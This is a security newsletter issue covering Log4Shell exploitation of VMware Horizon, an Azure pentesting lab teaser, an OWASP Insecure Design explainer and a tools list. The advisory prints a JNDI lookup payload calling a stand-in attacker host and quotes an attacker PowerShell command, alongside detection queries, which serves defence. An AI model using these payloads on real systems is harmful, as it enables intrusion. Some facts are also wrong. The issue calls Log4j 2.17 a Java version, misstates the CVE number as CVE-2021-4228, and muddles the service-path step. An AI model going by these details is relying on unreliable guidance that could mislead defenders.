SecPro #32: Log4Shell – VMware Exploits on the Rise
It has been nearly a month since the turmoil caused by Log4Shell, and yet another week of Log4Shell panic continues. Despite best efforts, we are still not immune from the remote code execution (RCE) vulnerabilities in Log4j 2 and it is mutating! In this issue, we look at how VMware products are the target of a vulnerability that allows to establish web shells and launch Remote Code Execution (RCE) attacks and how you can mitigate the risks. Today’s rundown:
- Log4Shell: VMware Exploits on the Rise
- Azure Pentesting Tutorial: Identifying Vulnerabilities in Public-Facing Services
- OWASP A04: Insecure Design
- Secret Knowledge: Building Your Security Arsenal
Welcome to the first SecPro issue of 2022. Let’s get to it!
Kartikey
Exploit Detection & Analysis
Log4Shell: VMware Exploits on the Horizon
By Austin Miller, Kartikey Pandey
Another week in the world of cybersecurity, another Log4Shell panic and VMware Exploits on the Rise. This time, various VMware products are the target of a vulnerability that allows the adversary to establish web shells and launch Remote Code Execution (RCE) attacks. Vulnerable systems include products such as Horizon and vData Center, some of the most common VMware subscriptions that have the vulnerable version of the Log4j 2 package built-in.
Which VMware Products are Affected?
Due to the ubiquity of the critical vulnerability in the Log4j 2 package, an array of VMware products could face widespread exploitation. Among the most notable examples of products containing the Log4j vulnerability, there are:
- VMware Horizon
- VMware vCenter Server
- VMware HCX
- VMware NSX-T Data Center
- VMware Unified Access Gateway
A full list of vulnerable VMware products can be found here.
How has the Adversary Exploited the VMware Vulnerability?
Successful exploitation of the virtualization infrastructure software is very similar to other examples of the Log4Shell exploit. The adversary launches the format string attack that looks as such: ${jndi:ldap://attacker.com}
Where attacker.com refers to a malicious repository where the adversary stores the exploit. This exploits the vulnerable Log4j 2 logging package and allows the attacker to launch malicious code. Unlike many versions of the Log4Shell attack, the VMware specific type focuses on the Apache Tomcat service.
As the Tomcat service is located in the VMware Horizon software, this Log4Shell guide is now focusing on the aforementioned VMware product and how the Apache Software Foundation recommends you mitigate the risk to your systems.
VMware Exploits on the Rise: What is ws_TomCatService.exe?
Apache Tomcat is an open-source service that creates an HTTP web server environment. This environment is perfect for running Java code, but it also contains the vulnerability that allows malicious actors to establish a botnet, access sensitive data, or run arbitrary code through the vulnerable logging framework (potentially loading ransomware or other malware).
VMware Exploits on the Rise: How is ws_TomCatService.exe Exploited?
Through an elaborate series of GET requests, the Tomcat service allows the adversary to gain control over a server. Sample code for this exploit looks as such:
Sample Tomcat Apache code to remotely execute code
From this point, the attacker can now launch PowerShell. Although multiple forms of these attacks have been observed, the most notable attack is this following string that is used to launch Get-WMIObject:
powershell -c “$path=gwmi win32_service|?{$.Name -like “””VMBlastSG”””}|%{$.PathName -replace ‘”””‘, ” -replace “””nssm.exe”””,”””libabsg-worker.js”””}
When executed, this command will replace nssm.exe with libabsg-worker.js. The attacker will then be able to access a list of all services running VMBlastSG.
From that point, the attacker can retrieve all pathnames that are associated with the WMBlastSG services. The malicious PowerShell script is then injected. Sample injection code could contain this in the absg-worker.js file:
The VMBlastSG service is then restarted to allow remote control. From this point, the adversary can remotely execute arbitrary code.
How Detectable is this Exploit?
Although security professionals should always prioritize software updates as standard practice, using the following code with Windows Defender will show you a malicious string that is being used by the adversary against your systems.
Detecting abnormal processes started by ws_Tomcatservice.exe
DeviceProcessEvents
| where InitiatingProcessFileName=~”ws_TomcatService.exe”
| where FileName != “repadmin.exe”
Detecting abnormal processes started by PowerShell that include VMBlastSG
DeviceProcessEvents
| where FileName =~ “powershell.exe”
| where ProcessCommandLine has “VMBlastSG”
For teams that want to manually check their systems for evidence of malicious actors attempting to compromise systems, the following PowerShell command will show any file modification caused by attempted exploitation:
$path=gwmi win32_service|?{$_.Name -like “*VMBlastSG*”}|%{$_.PathName -replace “nssm.exe”,”libabsg-worker.js”;gc $path|Select-String “req.headers[‘data’]”
What Could this Vulnerability Cause?
As with all Log4Shell exploits, the remote code execution vulnerability leaves the affected software at risk of any kind of malicious input data – we have already seen botnets launch a denial of service attack, ransomware attacks, crypto-miners, and data exfiltration, implying that malicious activity on a vulnerable VMware product could lead to the same.
How Do I Mitigate the Risk?
The necessary software updates for the Log4Shell vulnerability have been the top priority for security teams since mid-December, so (hopefully) even those teams that run with non-default configurations have been able to download the latest version of the Log4j package.
If you are unsure if you have the correct version of Java installed for your potentially vulnerable applications, running a scanner (such as the rapid7 Log4Shell HTTP Scanner or the Portswigger Log4Shell Scanner) will show any high-risk areas of possible exploitation. As always, act swiftly and update to the latest version of Java (currently 2.17) to close all known attack vectors and secure your systems against the CVE-2021-4228 exploit.
I’ll be soon launching a community on Discord to learn from, network, socialize, and share knowledge and resources. I aim to make our communication more real-time and this will be a great place to connect with our community—made by SecPros, for SecPros. Watch this space for further instructions on how to join. It’ll be fun.
Hands-on Lab: Azure Pentesting
Identifying Vulnerabilities in Public-Facing Azure Services
By David Okeyode, Karl Fosaaen
TL;DR: As a penetration tester, you may be tasked with anonymously attacking an Azure tenant as part of your assessment. From a scope perspective, this can be tricky. Anyone can name an Azure service whatever they want, and it may be hard to find resources that are truly in scope. Regardless of whether you are chasing a bug bounty or shadow IT assets during a penetration test, anonymous Azure service discovery can be a helpful tool in identifying vulnerabilities.
Penetration tests in Azure can come in a variety of different scopes. Depending on how your organization determines the threats to the environment, and how they define a penetration test, there may be different goals for the test. In this tutorial, we look at guidelines to successful Azure pentesting and hands-on exercises from the perspective of an outsider that has very little information about a target’s cloud assets. You will also learn how to find misconfiguration vulnerabilities to exposed resources, which could lead to initial access to a tenant.
We’ve placed this module on a separate web page. Click the button below to access the complete module where we discuss guidelines to successful Azure pentesting and two hands-on exercises:
- Hands-on Exercise #1: Parsing Azure public IP addresses using PowerShell
- In this exercise, we walk you through how an external adversary could use the published Azure public IP ranges to identify potential targets that they can scan for vulnerabilities.
- Hands-on Exercise #2: Using MicroBurst to enumerate PaaS services
- In this exercise, you will install MicroBurst on your pentest VM and use a script to anonymously enumerate Azure services.
OWASP
OWASP: A04 – Insecure Design
By Austin Miller
After looking at Broken Access Control, Cryptographic Failures, and Injection attacks, it made sense to look at another newcomer to the OWASP Top 10 in 2021 – Insecure Design vulnerabilities.
Security vulnerabilities are already difficult to manage, but the security experts at OWASP have found that an increasing number of applications are being pushed out with known security risks due to poor design.
Fighting insecure design involves understanding threat modeling, improving the development pipeline, and developing a mature security architecture are all key to overcoming design flaws, but how many developers working these factors into their day-to-day workflows?
What is Insecure Design?
Insecure design is hard to define because it appears in so many different ways. What one developer might think of as poor design may not match up with another developer’s understanding at all!
Because of that, OWASP used the broad definition of missing or ineffective control design in its A04:2021 overview. As far as web application security goes, that could mean a myriad of things.
Insecure Design: an Example
In the age of the crypto-miner, buying high-end video cards for a reasonable price has become difficult. Not only are they more expensive than ever, but scalpers also tend to buy them in bulk and sell them for big profits. That’s why some people are using bots to automatically buy up high-ticket items.
Automating scripts to buy in-demand products is considered a cyber-security attack, however. That’s why securely designed e-commerce websites used anti-bot design to defend themselves, including:
- Blocking purchases made within seconds of availability
- Limited resource consumption by user or service
- Automating processes for identifying inauthentic purchases
- Automatically rejecting purchases that break domain logic rules
These methods obviously may not be applicable to your situation. By implementing the same level of security-minded practices, you will find effective solutions to your own design challenges.
How Do We Stop Insecure Design?
Good design practice is the only way to overcome the most common insecurities. Although many organizations have started to shift left, insecure design patterns are showing us that we need still need to refine our processes.
Integrate Security at All Tiers
A shift left is the first step – understanding use-cases and misuse-cases at all tiers of the web application development process is now necessary. Training every member of the development team to understand basic security principles is the difference between shoehorning security into the pipeline and making security key to your business. This involves:
- Establishing a secure design pattern
- Identifying a secure component library and reviewing it regularly
- Adopting secure tools and reviewing them regularly
- Implementing threat modeling wherever it is relevant
Maturing the Security Architecture
The OWASP SAMM contains a general methodology for improving your security architecture and a plan for establishing secure design patterns. Depending on the maturity and goals of your organization’s security capabilities, OWASP also outlines Stream A – Architecture Design and Stream B – Technology Management.
This three-part plan to evaluate and improve the security infrastructure needs a security manager to consider the following three principles:
- The maturity of your security integration into the development process, including understanding the supply chain of your security tooling and overall control of components.
- Understanding your architecture design goals, including the components used and all the security concerns that come with them.
- Technology management refers to the tools in use for all development and security needs, including everything from the OS to development stacks and tooling.
Threat Modeling
Creating a risk assessment of the security concerns that your application will face helps you understand what you need to address in the development process.
The Threat Modeling Manifesto describes the threat modeling process as:
- What are we working on?
- What can go wrong?
- What are we going to do about it?
- Did we do a good enough job?
These four simple questions are enough to start considering the kind of threats that your application will face. Is there a risk of a SQL injection? What about insecure deserialization attacks? These are key questions for a DevSecOps team and help establish benchmarks for expected software security standards.
Insecure Design – an Avoidable Problem?
As a new issue that climbed straight to number four, OWASP definitely considers insecure design to be one of the critical risks that Dev teams aren’t addressing. Known vulnerabilities are making it into new applications and leading to avoidable sensitive data exposure.
Following OWASP’s best practices is the best way to avoid web application vulnerabilities. The central crux is to implement a healthier culture that avoids untrusted sources and empowers developers to make better web applications.
CWEs that Indicate Insecure Design
Find out how others have implemented insecure design to avoid it in your own practice! Here are four examples of insecure design practices logged in the CWE database:
- CWE-209: Generation of Error Message Containing Sensitive Information
- CWE-256: Unprotected Storage of Credentials
- CWE-501: Trust Boundary Violation
- CWE-522: Insufficiently Protected Credentials
Secret Knowledge: Building Your Security Arsenal
Discover useful security resources, cheatsheets, hacks, and open-source CLI/web tools.
New & Trending
Ottr: A Serverless Public Key Infrastructure Framework – Airbnb engineering’s Ottr, is a serverless Public Key Infrastructure framework that handles end-to-end certificate rotations without the use of an agent.
Riot: A Scalable AWS Enumeration and Footprinting Tool – Unauthenticated enumeration and footprinting of AWS Account IDs, roles, users, services in use. APIClarity – An open-source, cloud-native visibility tool for APIs, utilizing a Service Mesh framework to capture and analyze API traffic.
Web Security
0xInfection/XSRFProbe – A CSRF audit and exploitation toolkit, that can crawl sites, perform a variety of checks, and generate PoCs when a vulnerability is found.
Hackmanit/Web-Cache-Vulnerability-Scanner – A Go-based CLI tool for testing for web cache poisoning. It currently supports 9 different web cache poisoning techniques.
Auditing Tools
Lynis – Battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.
Rkhunter – Scanner tool for Linux systems that scans backdoors, rootkits, and local exploits on your systems.
The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes.
